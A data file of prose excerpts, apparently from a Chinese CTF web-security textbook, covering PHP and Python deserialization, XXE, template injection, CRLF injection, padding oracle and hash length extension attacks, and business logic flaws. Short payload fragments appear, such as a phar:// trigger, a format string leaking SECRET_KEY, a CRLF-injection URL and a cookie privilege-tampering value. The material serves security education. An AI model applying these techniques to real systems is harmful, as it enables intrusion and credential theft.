    {"text": "图3-1-8 3．__construct 通常情况下，在反序列化中是无法触发__construct魔术方法，但是经过开发者的魔改后便可能存在任意类实例化的情况。 例如，在代码中加入call_user_func_array调用，再禁止调用其他类中方法，这时便可以对任意类进行实例化，从而调用了construct方法（案例可参考 https://5haked.blogspot.jp/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html？"},
    {"text": "可以从官网中找到SimpleXMLElement类的描述： 通常进行以下调用： 调用时注意，Libxml 2.9后默认不允许解析外部实体，但是可以通过函数参数LIBXML_NOENT进行开启解析。"},
    {"text": "图3-1-9 攻击分为两个XML文件， xxe_evil 是加载远程的xxe_read_passwd文件， xxe_read_passwd 则通过PHP伪协议加载/etc/passwd文件，再对文件内容进行Base64编码，最后通过拼接方式，放到HTTP请求中带出来。"},
    {"text": "Phar之所以能反序列化，是因为PHP使用phar_parse_metadata在解析meta数据时，会调用php_var_unserialize进行反序列化操作，其中解析代码见图3-1-11。"},
    {"text": "图3-1-11 可以生成一个Phar包进行观察，需要注意php.ini中的phar.readonly选项需要设为Off。 生成Phar包的代码见图3-1-12。 图3-1-12 通过winhex编辑器对Phar包进行编辑，可以看到，文件中存在反序列化后的字符串内容，见图3-1-13。"},
    {"text": "当然，继续深挖，如寻找内核中的*_php_stream_open_wrapper_ex函数，PHP封装调用此类函数，会让更多函数支持封装协议，如getimagesize、get_meta_tags、imagecreatefromgif等。"},
    {"text": "再通过传入 phar:///var/www/html/1.phar 便可触发反序列化。 例如，通过 file_exists（\"phar://./demo.phar\"） 触发phar反序列化，结果见图3-1-14。"},
    {"text": "图3-1-13 图3-1-14 3.1.1.4 小技巧 反序列化中的一些技巧使用频率较高，但是目前很难出单纯的考点，更多的是以一种组合的形式加入构造利用链。"},
    {"text": "1．__wakeup失效：CVE-2016-7124 这个问题主要由于__wakeup失效，从而绕过其中可能存在的限制，继而触发可能存在的漏洞，影响版本为PHP 5至5.6.25、PHP 7至7.0.10。 原因： 当属性个数不正确时，process_nested_data函数会返回为0，导致后面的call_user_function_ex函数不会执行，则在PHP中就不会调用__wakeup()。"},
    {"text": "图3-1-16 图3-1-17 图3-1-18 这个小技巧最经典的真实案例是SugarCRM v6.5.23反序列化漏洞，它在wakeup进行限制，从图3-1-19中的__wakeup代码可以看出，它会对所有属性进行清空，并且抛出报错，这也限制了执行。"},
    {"text": "图3-1-19 2．bypass反序列化正则 当执行反序列化时，使用正则“ /[oc]：\\d+:/i ”进行拦截，代码见图3-1-20，主要拦截了这类反序列化字符： 这是反序列中最常见的一种形式，那么如何进行绕过呢？"},
    {"text": "a：0：{}} ”，可以看到当“'O'：”后面为“+”时，就会从yy17跳转到yy19处理，然后继续对“+”后面的数字进行判断，意味着这是支持“+”来表达数字，从而对上面的正则进行绕过。"},
    {"text": "3．反序列化字符逃逸 这里的小技巧是出自漏洞案例 Joomla RCE（CVE-2015-8562） ，这个漏洞产生的原因在于序列化的字符串数据没有被过滤函数正确的处理最终反序列化。"},
    {"text": "我们知道，PHP在序列化数据的过程中，如果序列化的是字符串，就会保留该字符串的长度，然后将长度写入序列化后的数据，反序列化时就会按照长度进行读取，并且PHP底层实现上是以“；"},
    {"text": "} ”，长度为22，需要填充22个x，来逃逸我们payload所需的长度，注入序列化数据，最后反序列化，就能修改数组中的属性orange为 scanfsec ，见图3-1-23。"},
    {"text": "图3-1-23 4．Session反序列化 PHP默认存在一些Session处理器：php、php_binary、php_serialize（处理情况见图3-1-24）和wddx（不过它需要扩展支持，较为少见，这里不做讲解）。"},
    {"text": "可以看到，php_serialize注入的stdclass字符串，在php处理下成为stdclass对象，对比情况见图3-1-25。 可以看出，在php_serialize处理下存入“|O：8：\"stdClass\"：0：{}”，然后在php处理下读取，这时会以“ a：2：{s：20：\" ”作为key，后面的“O：8：\"stdClass\"：0：{}”则作为value进行反序列化。"},
    {"text": "题目代码见图3-1-27，PHP中存在引用，通过“&”表示，其中“&$a”引用了“$a”的值，即在内存中是指向变量的地址，在序列化字符串中则用R来表示引用类型。"},
    {"text": "正常情况下，报错是使用throw抛出异常导致__destruct不会执行。 但是通过改变属性为“ O：1：\"B\"：1：{1} ”，解析出错，由于类名是正确的，就会调用该类名的__destruct，从而在throw前执行了__destruct。"},
    {"text": "图3-1-30 3.1.2 经典案例分析 前面讲述了PHP反序列化漏洞中的各种技巧，那么在实际做题过程中，往往会出现一些现实情况下的反序列化漏洞，如Laravel反序列化、Thinkphp反序列化以及一些第三方反序列化问题，这里以第三方库 Guzzle 为例。"},
    {"text": "首先，在 guzzle/src/Cookie/FileCookieJar.php 中存在如下代码： 而save()函数定义如下： 可以发现，在第二个if判断的地方存在任意文件写入，文件名跟内容都是我们可以控制的；"},
    {"text": "3.2.1 沙箱逃逸 CTF的题目中存在一种让用户提交一段代码给服务端、服务端去运行的题型，出题者也会通过各种方式过滤各种高风险库、关键词等。"},
    {"text": "如果可以控制这个变量，我们可以方便地覆盖内置模块，通过修改该路径，可以改变Python在import模块时的查找顺序，在搜索时优先找到我们可控的路径下的代码，达成绕过沙箱的目的。"},
    {"text": "3.2.1.3 使用继承等寻找对象 在Python中， 一切都是对象 ，所以我们可以使用Python的内置方法找到对象的父类和子类，如[].__class__是<class'list'>，[].__class__.__mro__是（<class'list'>，<class'object'>），而[].__class__.__mro__[-1].__subclasses__()可以找到object的所有子类。"},
    {"text": "3.2.1.4 eval类的代码执行 eval类函数在任何语言中都是一个危险的存在，我们可以在Python中尝试，可以通过exec()（Python 2）、execfile()、eval()、compile()、input()（Python 2）等动态执行一段Python代码。"},
    {"text": "3.2.2.1 最原始的% 如下代码实现了登录功能，由于没有对用户的输入进行过滤，直接带入了print的输出过程，从而导致了用户密码的泄露。"},
    {"text": "3.2.2.2 format方法相关 上述的例子还可以使用format方法进行改写（仅涉及关键部分）： 此时若 passwd=\"{password}\" ，也可以实现3.2.2.1节中获取用户真实密码的目的。"},
    {"text": "下面引用来自于 http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ 的例子： 如果format_string为{event.__init__.__globals__[CONFIG][SECRET_KEY]}，就可以泄露敏感信息。"},
    {"text": "大多数模板引擎自身并没有什么问题，所以在审计时我们的重点是找到一个模板，这个模板通过字符串拼接而构造，而且用户输入的数据会影响字符串拼接过程。"},
    {"text": "在处理怀疑含有模板注入的漏洞的网站时，先关注render_*这类函数，观察其参数是否为用户可控。 如果存在模板文件名可控的情况，如 配合上传漏洞，构造模板，则完成模板注入。"},
    {"text": "对于下面的例子，我们应先关注render_template_string（template）函数，其参数 template 通过格式化字符串的方式构造，其中request.url没有任何过滤，可以直接由用户控制。"},
    {"text": "由于模板在渲染时服务器会自动寻找服务器渲染时上下文的有关内容，因此将其填充到模板中，就导致了敏感信息的泄露，甚至执行任意代码的问题。"},
    {"text": "通过在本地搭建与服务器相同的环境，查看渲染时上下文的信息，这时最简单的利用是用 {{variable}} 将上下文的变量导出，更好的利用方式是找到可以直接利用的库或函数，或者通过上文提到的继承等寻找对象的手段，从而完成任意代码的执行。"},
    {"text": "如果攻击者可以控制Python代码访问任意URL，或者让Python代码访问一个恶意的Web Server，那么这个漏洞可能危害内网服务安全。 对于这类漏洞，我们主要关注服务器采用的Python版本是否存在相应的漏洞，以及攻击的目标是否会受到SSRF攻击的影响，如利用某个图片下载的 Python服务 去攻击内网部署的一台未加密的Redis服务器。"},
    {"text": "3.2.4.1 CVE-2016-5699 CVE-2016-5699：Python 2.7.10以前的版本和Python 3.4.4以前的3.x版本中的urllib2和urllib中的 HTTPConnection.putheader 函数存在CRLF注入漏洞。"},
    {"text": "此时向127.0.0.1:12345发送一个正常的请求，可以看到HTTP头为： 然后我们使用恶意构造的地址 可以看到HTTP头变成了： 对比之前正常的请求方式，X-injected：header行是新增的，这样就造成了我们可以使用类似SSRF攻击手法的方式，攻击内网的Redis或其他应用。"},
    {"text": "比如，URL: http://localhost%0d%0ax-bar:%20:12345/foo 进行解析会失败的，但是URL: http://localhost%00%0d%0ax-bar:%20:12345/foo 可以正常解析并访问127.0.0.1。"},
    {"text": "例如，我们修改上面CVE-2016-5699的poc，就可以复现了 可以看到，HTTP头如下： 3.2.5 Python反序列化 反序列化在每种语言中都有相应的实现方式，Python也不例外。"},
    {"text": "在反序列化的过程中，由于反序列化库的实现不同，在太相信用户输入的情况下，将用户输入的数据直接传入反序列化库中，就可能导致任意代码执行的问题。"},
    {"text": "Python中可能存在问题的库有pickle、cPickle、PyYAML，其中应该重点关注的方法如下：pickle.load()，pickle.loads()，cPickle.load()，cPickle.loads()，yaml.load()。"},
    {"text": "比如，code-breaking 2018中涉及一道反序列化的题目，在反序列化阶段限制了可供反序列化的库，__reduce__只能实现对一个函数的调用，于是需要手工编写反序列化的内容，以完成对过滤的绕过及任意代码执行的目的。"},
    {"text": "3.2.6 Python XXE 无论什么语言，在涉及对XML的处理时都有可能出现XXE相关漏洞，于是在审计一段代码中是否存在XXE漏洞时，最主要的是 找对XML的处理过程 ，关注其中是否禁用了对外部实体的处理。 比如，对于某个Web程序，通过请求头中的Content-type判断用户输入的类型，为JSON时调用JSON的处理方法，为XML时调用XML的处理方法，而这个过程中刚好没有对外部实体进行过滤，这就导致了在用户输入XML时的XXE问题。"},
    {"text": "在Python中处理XML最常用的就是xml库，我们需要关注其中的 parse方法 ，查看输入的XML是否直接处理用户的输入，是否禁用了外部实体，即审计时的重点。"},
    {"text": "但是，Python从3.7.1版开始，默认禁止了XML外部实体的解析，所以在审计时也要注意版本。 具体xml库存在的安全问题，读者可以查阅xml库的官方文档： https://docs.python.org/3/library/xml.html 。"},
    {"text": "3.2.7 sys.audit 2018年6月，Python的PEP-0578新增了一个审计框架，可以提供给测试框架、日志框架和安全工具，来监控和限制Python Runtime的行为。"},
    {"text": "3.2.8 CTF Python案例 3.2.8.1 皇家线上赌场（SWPU 2018） 题目是一个Flask Web，通过任意文件读取获取views.py的代码： __init__.py文件内容如下： 然后使用得到的secret_key，我们可以伪造Session，生成一个符合getflag条件的Session。"},
    {"text": "getflag的format可以直接注入一些数据，但是需要跳出g.u，题目中给了提示：为了方便，给user写了save方法，所以直接使用__globals__跳出得到flag，payload见图3-2-1。"},
    {"text": "图3-2-1 3.2.8.2 mmmmy（网鼎杯2018线上赛） 伪造JWT登入后是一个留言功能，发现输入的东西都会原原本本地打印在页面上，于是猜测这是一个SSTI。"},
    {"text": "测试后发现过滤了很多东西，如“'”“\"”“os”“_”“{{”等，只要出现了这些关键字，就直接打印None。 虽然过滤了“{{”，但是可以使用“{%”，如“{%if 1%}1{%endif%}”会打印“1”。"},
    {"text": "那么如法炮制，获取chr函数： 然后可以使用脚本进行盲注，见图3-2-2。 图3-2-2 图3-2-2（续） 除了盲注，还有一种方法可以直接打印明文，即使用jinja2中的print，见图3-2-3。"},
    {"text": "除了CRYPTO分类下对密码算法纯粹的考虑，Web题目也会涉及密码学的使用，最常见的有 对敏感信息如密码或用户凭据进行加密保存 、 对重要信息的校验 等。"},
    {"text": "利用Python、PHP、JavaScript等语言的特性，比赛题目将代码变成不那么直观的样子，加大了分析难度，但是只要掌握了方法，参赛者也能很快分析出藏在混淆背后的秘密。"},
    {"text": "3.3.1 密码学知识 在密码学与Web结合的题目中往往包含明显的提示，如题目的关键词中有ENCRYPT、DECRYPT等，甚至直接给出相关代码，让参赛者进行分析。"},
    {"text": "3.3.1.1 分组加密 分组加密 就是将一个很长的字符串分成若干固定长度（分组长度）的字符串，每块明文再通过一个与分组长度等长的密钥进行加密，将加密的结果进行拼接，最终得到加密后的结果。"},
    {"text": "在分组加密中有ECB、CBC、CFB、PCBC、OFB、CTR六种模式，对每种模式的加密的区别可以参考密码学部分，下面将通过对其中三种加密方式和相应例题来介绍这类题目中常包含的套路。"},
    {"text": "查看题目中涉及的链接和对应的明文不难发现，随着title长度的变化，每次密文在产生长度变化时都变化了16个字符，由此可以推断出密钥的长度为64bit，加密方式可能为DES。 我们发现了网页中两条很有趣的链接，这两条链接中title开头的字符串都是“Bypassing W”，而密文中也存在相同的“1d8feb029243ed633882b1034e878984”： 可以猜想加密使用的模式为ECB模式（因为开头及结尾均不同的情况下，对相同字符串的加密结果相同）。"},
    {"text": "因为388...984串出现在后面，也应该以8位为窗口，倒着将“Bypassing W”作为明文进行爆破，即按照\"assing+W\"、\"passing+\"（“+”是因为将title进行了URL编码）的顺序进行尝试。"},
    {"text": "3.3.1.4 CBC模式 CBC（Cipher Block Chaining，密码分组链接） 中，每块明文都需要与前一块密文进行异或，再进行加密，最后将得到的加密后的密文块进行拼接，得到最终的密文串。 这就使得在CBC加密过程中，对每块明文进行加密时要依赖前面的所有明文块，同时通过IV（Initialization Vector，初始向量）保证每条消息的唯一性，其工作流程见图3-3-3和图3-3-4。"},
    {"text": "图3-3-3（来自维基百科） 图3-3-4（来自维基百科） 异或运算有如下性质： 由于IV和密文块直接参与了异或解密的过程，就导致了在出题过程中常见的两种攻击方式：通过IV，影响第一个明文分组；"},
    {"text": "根据解密流程，假如修改第 n 个分组解密后的结果，设p_n代表第 n 组明文，c_n代表第 n 组密文，dec（key，c）为解密算法，key为密钥。 代码如下： 如果想修改某一组的解密结果，只需知道原来的明文是什么、想修改的明文内容、上一组向后传递的密文即可（若为第一组，则需要IV）。"},
    {"text": "这里以PicoCTF 2018的Secure Logon题目为例，题目中提供了服务器端的代码：https://github.com/shiltemann/CTF-writeups-public/blob/master/PicoCTF_2018/writeupfiles/server_noflag.py。"},
    {"text": "/login路由中则给出了 Cookie的生成算法 ： 其中使用的加密算法为： 通过对login函数及AESCipher的分析，我们可以知道：使用的AES-128-CBC加密算法；"},
    {"text": "3.3.1.5 Padding Oracle Attack Padding Oracle 是Padding根据服务器对信息解密时的表征来对应用进行攻击，针对的同样是CBC加密模式，其中的关键是Padding的使用。"},
    {"text": "在填充时有多种规则，其中最常见的是 PKCS＃5标准 中定义的规则，即当明文中最后一个数据块包含 N 个内容为 N 的填充数据（ N 取决于明文块最后一部分的数据长度）。"},
    {"text": "每个字符串都应该包含至少一个填充块，也就是说：需要补充1个数据块时，补充01； 需要补充2个数据块时，补充02……当字符串长度正好为分组长度的整数倍数时，额外添加一个块，内容为Padding，见图3-3-5。"},
    {"text": "图3-3-5 在解密时，服务器将数据解密后，在判断最后一个数据块末尾的Padding是否合法时，可能因为Padding出现的错误而抛出填充异常，就是给攻击者对加密进行攻击时的Oracle（提示）。"},
    {"text": "这里以P.W.N.CTF 2018：Converter为例（见图3-3-6），题目地址：http://converter.uni.hctf.fun/，主要功能是为用户输入一个字符串，通过服务器的转换器将该格式的文档转换为其他格式。"},
    {"text": "由于输入相同的内容时，返回的vals的值不同，我们可以推测用于加密的算法采用的加密模式为CBC模式。 在逐步增加传入的内容的长度时，我们发现，返回的vals的长度在发生变化时，变化的长度为32，所以可以确定加密方式是128-CBC方式。"},
    {"text": "图3-3-6 图3-3-7 图3-3-8 在CBC模式的解密过程中，对最后一个分组加密、解密的流程见图3-3-9和图3-3-10，符号⊕代表异或。"},
    {"text": "图3-3-11 通过变化IV，使最终得到的解密结果的字节进行变化，当IV+1即Cookie为 时，虽然依旧返回500错误，但服务器解密出的明文的结果已经发生了变化，见图3-3-12。 图3-3-12 由于IV的变化，服务器完成解密时最终字符串的内容变化为0x3C。 如此重复，直到解密出的明文的最后1字节为0x01，Cookie的内容如下 则服务器返回“JSONDecodeError：Expecting value：line 1 column 1（char 0）”，而不是由发生填充错误导致的“ValueError：Invalid padding bytes.”。"},
    {"text": "根据异或的计算过程和CBC解密的流程，我们可以知道 也就是把对第一个密文块进行解密后的中间值的内容为 0x73 。 在正常解密流程中，该字符与原IV中同样位置的字符进行异或运算，运算后的值为最终的解密结果。"},
    {"text": "通过修改IV，我们可以使最后1字节在异或后的最终结果为 0x02 ，那么此时由于倒数第二个字符解密结果不满足Padding规则（见图3-3-14），服务器会再次返回500错误。 图3-3-14 那么，依旧逐步修改IV，使最终解密的结果为0x02，正确填充时（见图3-3-15），Cookie如下所示 图3-3-15 此时，根据类似的计算过程，可以还原倒数第二位的内容： 如此重复，直到填充字符串的长度为整个块的长度，此时我们可以还原第一个块的全部内容，见图3-3-16。"},
    {"text": "此时将第二个密文块直接拼接至置0的IV序列后，按照类似的步骤，但在异或得到明文时，需要与前一个密文块对应位置的值进行异或，这样可以完成对第二个密文块进行破解。"},
    {"text": "根据第二部分CBC模式加密解密的原理，在已知明文、密文、目标明文、IV时，我们可以构造任意字符串，此时可以将需要的命令注入cookie，即将 修改为 在修改的过程中，需要从最后一个密文块开始伪造。"},
    {"text": "当服务器端生成一个需要保存在客户端的凭据时，正确使用哈希函数可以保证用户伪造的敏感信息不会通过服务器的校验而对系统的正常运行造成影响。"},
    {"text": "哈希函数很多采用的是Merkle-Damgård结构，如MD5、SHA1、SHA256等，在错误使用的情况下，这些哈希算法会受到 哈希长度扩展攻击（Hash Length Extension，HLE） 的影响。"},
    {"text": "首先，HLE适用的加密情况为 Hash（secret+message） ，这时虽然我们不知道secret的内容，但是依旧可以在message后拼接构造好的payload，发给服务器，并通过服务器的校验。"},
    {"text": "这里以SHA1为例，在加密时，我们需要关注的有三个步骤（具体算法请见密码学部分）： （1）对信息进行处理 在SHA1算法中，算法将输入的信息以512bit为一组进行处理，这时可能出现不足512bit的情况，就需要我们对原信息进行填充。"},
    {"text": "填充时，在该数组的最后填上一个1，再持续填入0，直到整个消息的长度满足length（message+padding）%512=448。 这里之所以是448，因为我们需要在消息的最后补充上该信息的长度信息，而这部分的长度64bit加上之前的448bit刚好能作为一个512bit的分组。"},
    {"text": "在运算时，有5个初始的链接变量A=0x67452301，B=0xEFCDAB89，C=0x98BADCFE，D=0x10325476，E=0xC3D2E1F0，用来参与第一轮的运算。"},
    {"text": "在第一轮的运算后，A、B、C、D、E会按照一定规则，更新为经过当前轮的计算后，哈希函数得出的结果。 也就是说，在每轮运算后，得出的结果都会作为下一轮的初始值而继续运算。"},
    {"text": "对于题目中可能出现的Hash（secret+message）方式，服务器一般会将Hash运算的结果即 Hash（secret+message+原填充+原长度） 的结果发给客户端。 那么，现在只需要猜对secret的长度，完成填充及补长度的过程，就可以在不知道secret的情况下得到Hash函数某一轮计算的中间结果，即对Hash（secret+message+原填充+原长度+payload）运算时，刚好处理完payload之前一个分组的中间结果。"},
    {"text": "由于中间结果在之后的运算中不会受到之前分组中信息的影响，这就导致了可以在保证Hash运算结果正确的情况下，将任意payload添加至原信息的尾部。"},
    {"text": "我们以Backdoor CTF 2017中的Extends Me为例，题目中提供了相应的源码（ https://github.com/jbzteam/CTF/tree/master/BackdoorCTF2017 ）： 在login函数中，通过post方式传入username，在Cookie中传入data和user的值。"},
    {"text": "再观察SLHA1函数，可以发现，它是一种类似SHA1算法的Hash算法，但修改了其中的填充和链接变量，所以SLHA1算法也会受到HLE的威胁。"},
    {"text": "在rand函数中，如果没有调用srand，那么产生的随机数则有规律可循，即： 图3-3-17 state[i]=state[i-3]+state[i-31] 此外，在每次调用mt_rand时，PHP都会检查是否已经播种。"},
    {"text": "在应对此类题目的时候可以查阅相关的官方文档中相关函数的介绍，如果生成的伪随机数可以被预测，则会有相关该伪随机函数不适合加密之类的提示，见图3-3-19和图3-3-20。"},
    {"text": "图3-3-18 图3-3-19 图3-3-20 3.3.1.8 密码学小结 上文介绍的几种密码学的攻击方式和例子只是少部分Web与Crypto结合的产物，但是密码学重点不止这些，如分组加密模式中依然有可以被重放攻击的CFB模式，可以被位反转攻击影响的CTR模式，甚至其他流加密算法。"},
    {"text": "所以，Web参赛者也要懂得一些密码学的知识，识别一个加密算法是否易受到攻击，并将题目中获取的数据和需要构造的字符串即时交给队内的密码学大佬，最终达到题目中的要求。"},
    {"text": "3.3.2 Web中的逆向工程 3.3.2.1 Python 在CTF比赛时，一些目标可能存在任意文件下载漏洞但对可以下载的文件类型进行了限制，如Python中禁止下载.py文件。"},
    {"text": "Python在运行时为了加速程序运行，因此会将.py文件编译为.pyc或.pyo文件，通过恢复这些文件中的字节码信息，同样可以获得原程序的代码。"},
    {"text": "比如，在LCTF 2018的L playground2中，关键代码见图3-3-21，文件下载的接口限制了不能直接下载.py文件，但可以下载相应的.pyc文件进行反编译，获得源代码，见图3-3-22。"},
    {"text": "为了理解PHP加密，我们需知道PHP在运行时不会被直接执行，而是经过一次编译，执行编译后的Opcode，其中有三个重要的函数，分别是zend_compile_file、zend_compile_string、zend_execute。"},
    {"text": "常见的加密方法有对问文件进行加密、对代码进行加密、实现虚拟机等方式，由于加密方式的不同解密时也会根据不同算法，调用解密插件修改后的编译或执行函数。 传统的PHP加密方案只是在PHP代码的基础上，通过代码混淆的方式破坏其可读性，通过壳对最终执行代码进行解密，再通过eval将解密的结果执行。"},
    {"text": "图3-3-23 网络上有很多编写好的hook eval插件源代码，如 https://github.com/bizonix/evalhook ，只需编译并加载到PHP中，再运行我们的源码，就可以得到真正的源代码，见图3-3-24。"},
    {"text": "在函数执行的最后，加密程序直接将解密后的结果传回了最开始的zend_compile_file，见图3-3-26，此时只需调整hook插件与解密插件的位置，让hook函数在解密函数后被调用，就可以输出解密后的代码，见图3-3-27。 图3-3-24 图3-3-25 图3-3-26 图3-3-27 另一种加密方式是对已经编译后的Opcode进行处理，此时监控zend_compile_*并不会有任何效果，因为加密根本没有使用PHP进行编译，而是直接解密得到Opcode并执行。 由于编译的过程没有起作用，因此只能hook函数zend_execute，甚至其中真正执行代码的zend_execute_ex，从中得到Opcode后再进行分析。 PHP的vld扩展提供了对Opcode进行分析的工具，需要修改vld的源代码，将dump OpCode的代码加到vld_execute_ex中，然后人工分析opcode，就能逐步分析出加密的结果。 例如，RCTF 2019中的sourceguardian一题，我们看到sg_load函数和题目名字的提示可知，代码使用sourceguardian加密，见图3-3-28，使用修改后的vld，可以将Opcode导出。 图3-3-28 图3-3-28（续） 对Opcode进行分析后，即可逐步恢复源代码，见图3-3-29。 图3-3-29 还有一种最复杂的加密方式，即重新实现一个VM，将PHP的源代码编译生成的opcode加密，混淆为仅能被自定义的VM理解的样式，交给自定义的VM进行解析。"},
    {"text": "3.3.2.3 JavaScript 不管怎样，JavaScript加密最终会将解密后的结果交给JavaScript引擎来执行，由此我们只需像解密PHP一样，为其中的关键函数加入hook，就可以完成解密了。"},
    {"text": "如在大多数情况下，加密的代码在进行解密后，如果想再次被执行，只能通过调用eval等函数，那么我们可以将eval函数修改为打印的函数，不让其执行，而是输出，就可以得到其中的关键代码。"},
    {"text": "3.4 逻辑漏洞 逻辑漏洞 是指在程序开发过程中，由于对程序处理逻辑未进行严密的考虑，导致在到达分支逻辑功能时，不能进行正常的处理或导致某些错误，进而产生危害。 一般而言，功能越复杂的应用，权限认证和业务处理流程越复杂，开发人员要考虑的内容会大幅增加，因此对于功能越复杂的应用，开发人员出现疏忽的可能性就越大，当这些出现疏忽的点会造成业务功能的异常执行时，逻辑漏洞便形成了。 由于逻辑漏洞实际依托于正常的业务功能存在，因此业务功能的不同直接导致每个逻辑漏洞的利用都不相同，也就无法像SQL注入漏洞总结出一个通用的利用流程或绕过方法，而这对于测试人员在业务逻辑梳理方面便有着更高的要求。 与前面的SQL注入、文件上传等传统漏洞不同，如果仅从代码层面分析，逻辑漏洞通常是难以发现的。 因此，传统的基于“输入异常数据—得到异常响应”的漏洞扫描器对于逻辑漏洞的发现通常也是无力的。 目前，对于逻辑漏洞的挖掘方法仍以手工测试为主，并且由于与业务功能密切相关，也就与测试人员的经验密切相关。 3.4.1 常见的逻辑漏洞 由于逻辑漏洞实际依托于正常的业务功能存在，无法总结出一个对所有逻辑漏洞行之有效的利用方法，但是对于这些逻辑漏洞而言，导致其发生的原因存在一定共性，凭此可以将这些逻辑漏洞进行一个粗略的分类，归结为两种： 权限问题 、 数据问题 。 1．与权限相关的逻辑漏洞 我们先了解什么是权限相关的 逻辑漏洞 。"},
    {"text": "在正常的业务场景中，绝大多数操作需要对应的权限才能进行。 而常见的用户权限如匿名访客、普通登录用户、会员用户、管理员等，都拥有其各自所特有的权限操作。 匿名访客权限可执行的操作如浏览信息、搜索特定内容等，而登录权限则可以确认订单支付，会员权限可以提前预约等，这些操作与用户所拥有的权限息息相关。"},
    {"text": "当权限的分配、确认、使用这些过程出现了问题，导致某些用户可执行他本身权限所不支持的特权操作，此时便可称为发生了 与权限相关的逻辑漏洞 。 权限逻辑漏洞中常见的分类为未授权访问、越权访问、用户验证缺陷。"},
    {"text": "未授权访问 是指用户在未经过授权过程时，能直接获取原本需要经过授权才能获取的文本内容或页面等信息。 其实质是由于在进行部分功能开发时，未添加用户身份校验步骤，导致在未授权用户访问相应功能时，没有进行有效的身份校验，从而浏览了他原有权限不支持查看的内容，也就是导致了未授权访问（见图3-4-1）。"},
    {"text": "横向越权漏洞 指的是权限同级的用户之间发生的越权行为，在这个过程中，权限始终限制在同一个级别中，因此被称为横向。 与之相对， 纵向越权漏洞 则指在权限不同级的用户之间发生了越权行为，并且通常是用来描述低级权限用户向高级权限用户的越权行为。"},
    {"text": "图3-4-2 横向越权即用户A与用户B之间的越权，如用户A可查看用户B的历史订单信息，其中权限变更过程为“普通用户 → 普通用户”（见图3-4-3），本质的权限等级未变化。 图3-4-3 纵向越权则会涉及管理员与用户之间的权限变更，如用户A通过越权行为可对首页广告进行编辑，那么权限变更过程为“普通用户 → 高级权限用户”，本质的权限等级发生了变化。"},
    {"text": "以登录体系为例，一个完整的体系中至少包括：用户名密码一致校验，验证码防护，Cookie（Session）身份校验，密码找回。 例如，Cookie（Session）身份校验，当用户通过一个配对的用户名与密码登录至业务系统后，会被分配一个Cookie（Session）值，通常表现为唯一的字符串，服务端系统通过Cookie（Session）实现对用户身份的判断，见图3-4-4。"},
    {"text": "图3-4-4 打开浏览器的控制台，通过JavaScript可以查看当前页面拥有的Cookie，见图3-4-5。 或者在网络请求部分也可以查看当前页面Cookie，见图3-4-6。 图3-4-5 图3-4-6 Cookie数据以键值对的形式展现，修改数值后，对应Cookie键的内容便同时被修改。 若Cookie中用于验证身份的键值对在传输过程中未经过有效保护，则可能被攻击者篡改，进而服务端将攻击者识别为正常用户。 假设用于验证身份的Cookie键值对为“ auth_priv=guest ”，当攻击者将其修改为“ auth_priv=admin ”时，服务端会将攻击者的身份识别为admin用户，而不是正常的guest，此时便在Cookie验证身份环节产生了一个Cookie仿冒的逻辑漏洞。"},
    {"text": "Session验证的关键点在于“ 通过Session ID识别用户身份 ”，在该关键点上对应存在一个Session会话固定攻击，其攻击流程见图3-4-8。 图3-4-7 图3-4-8 简单而言，其攻击流程如下：攻击者打开页面，获得一个Session ID，我们将其称为S； 攻击者发送一个链接给受害者，使得受害者使用S进行登录操作，如 http://session.demo.com/login.php？"},
    {"text": "2．与数据相关的逻辑漏洞 现实中，对于业务功能交织的购物系统，正常的业务功能会涉及多种场景，如商品余额、金钱花费、商品归属判定、订单修改、代金券的使用等。 以其中的购买功能为例，购买过程中会涉及商户商品余额变化、买方金额的消费、服务端的交易历史记录等数据，由于涉及的数据种类较多，因此在实际开发过程中，对于部分数据的类型校验便存在考虑不周的可能，如花费金额的正负判定、数额是否可更改等问题。"},
    {"text": "业务数据篡改 包含了前文提到的诸多问题，与开发人员对正常业务所做的合法规定密切相关，如限购行为中，对于最大购买量的突破也是作为业务数据篡改来看待。 除此之外，在购买场景下常见的几个业务数据篡改可包括：金额数据篡改，商品数量篡改，限购最大数修改，优惠券ID可篡改。 不同场景下，可篡改的数据存在差异，需要针对实际情况具体分析，因此上面4类数据也只是针对购买场景而言。 攻击者通过篡改业务数据可以修改原定计划执行的任务，如消费金额的篡改，若某支付链接为 http://demo.meizj.com/pay.php？"},
    {"text": "其中，各参数含义如下：money代表本次购买所花费的金额，purchaser代表购买者的用户名，productid代表购买的商品信息，seller代表售卖者用户名。 若后台的购买功能是通过这个URL来实现的，那么业务逻辑可以描述为“ purchaser花费了money向seller购买了productid商品 ”。"},
    {"text": "当交易正常完成时，purchaser的余额会扣除money对应的份额，但是当服务端扣费仅依据URL中的money参数时，攻击者可以轻易篡改money参数来改变自己的实际消费金额。"},
    {"text": "3.4.2 CTF中的逻辑漏洞 相较于Web安全的其他漏洞，逻辑漏洞通常需要多个业务功能漏洞的组合利用，因此往往存在业务体系复杂的环境中，部署成本颇大，在CTF比赛中出现的频率较低。"},
    {"text": "2018年，X-NUCA中有一道名为“blog”的Web题目，实现了一个小型的OAuth 2.0认证系统，选手需要找出其中的漏洞，以登录管理员账号，并在登录后的后台页面获得flag。"},
    {"text": "OAuth 2.0是一个行业的标准授权协议，目的是为第三方应用颁发具有时效性的Token，使得第三方应用可以通过Token获取相关资源。 常见的场景为需要登录某网站时，用户未拥有该网站账号，但该网站接入了QQ、微信等快捷登录接口，用户在进行快捷登录时使用的便是OAuth 2.0。 OAuth 2.0的认证流程见图3-4-9，具体为：客户端页面向用户请求授权许可→客户端页面获得用户授权许可→客户端页面向授权服务器（如微信）请求发放Token→授权服务器确认授权有效，发放Token至客户端页面→客户端页面携带Token请求资源服务器→资源服务器验证Token有效后，返回资源。"},
    {"text": "在进行普通用户与OAuth的账号绑定时，先返回一个Token，随后页面携带Token进行跳转，完成OAuth账号与普通用户的绑定。 携带Token进行账号绑定的链接形式为： http://oauth.demo.com/main/oauth/？"},
    {"text": "本书将Web题目涉及的主要漏洞分为“入门”“进阶”“拓展”三个层次，各为一章，让读者逐步深入。 但因为Web漏洞的分类十分复杂繁多，同时技术更新相较于其他类型题目也更快，希望读者在阅读本书的同时补充相关知识，这样才能举一反三，让自身能力有更好的提升。"},
    {"text": "后者主要考察参赛者的Java、C/C++逆向能力，出题人常常会加入混淆（ollvm等）、加固、反调试等技术，以增加应用的逆向难度。 这类题目往往需要参赛者具备一定的逆向和开发能力，熟悉常用调试逆向工具，知道常见反调试及加壳脱壳方法。"},
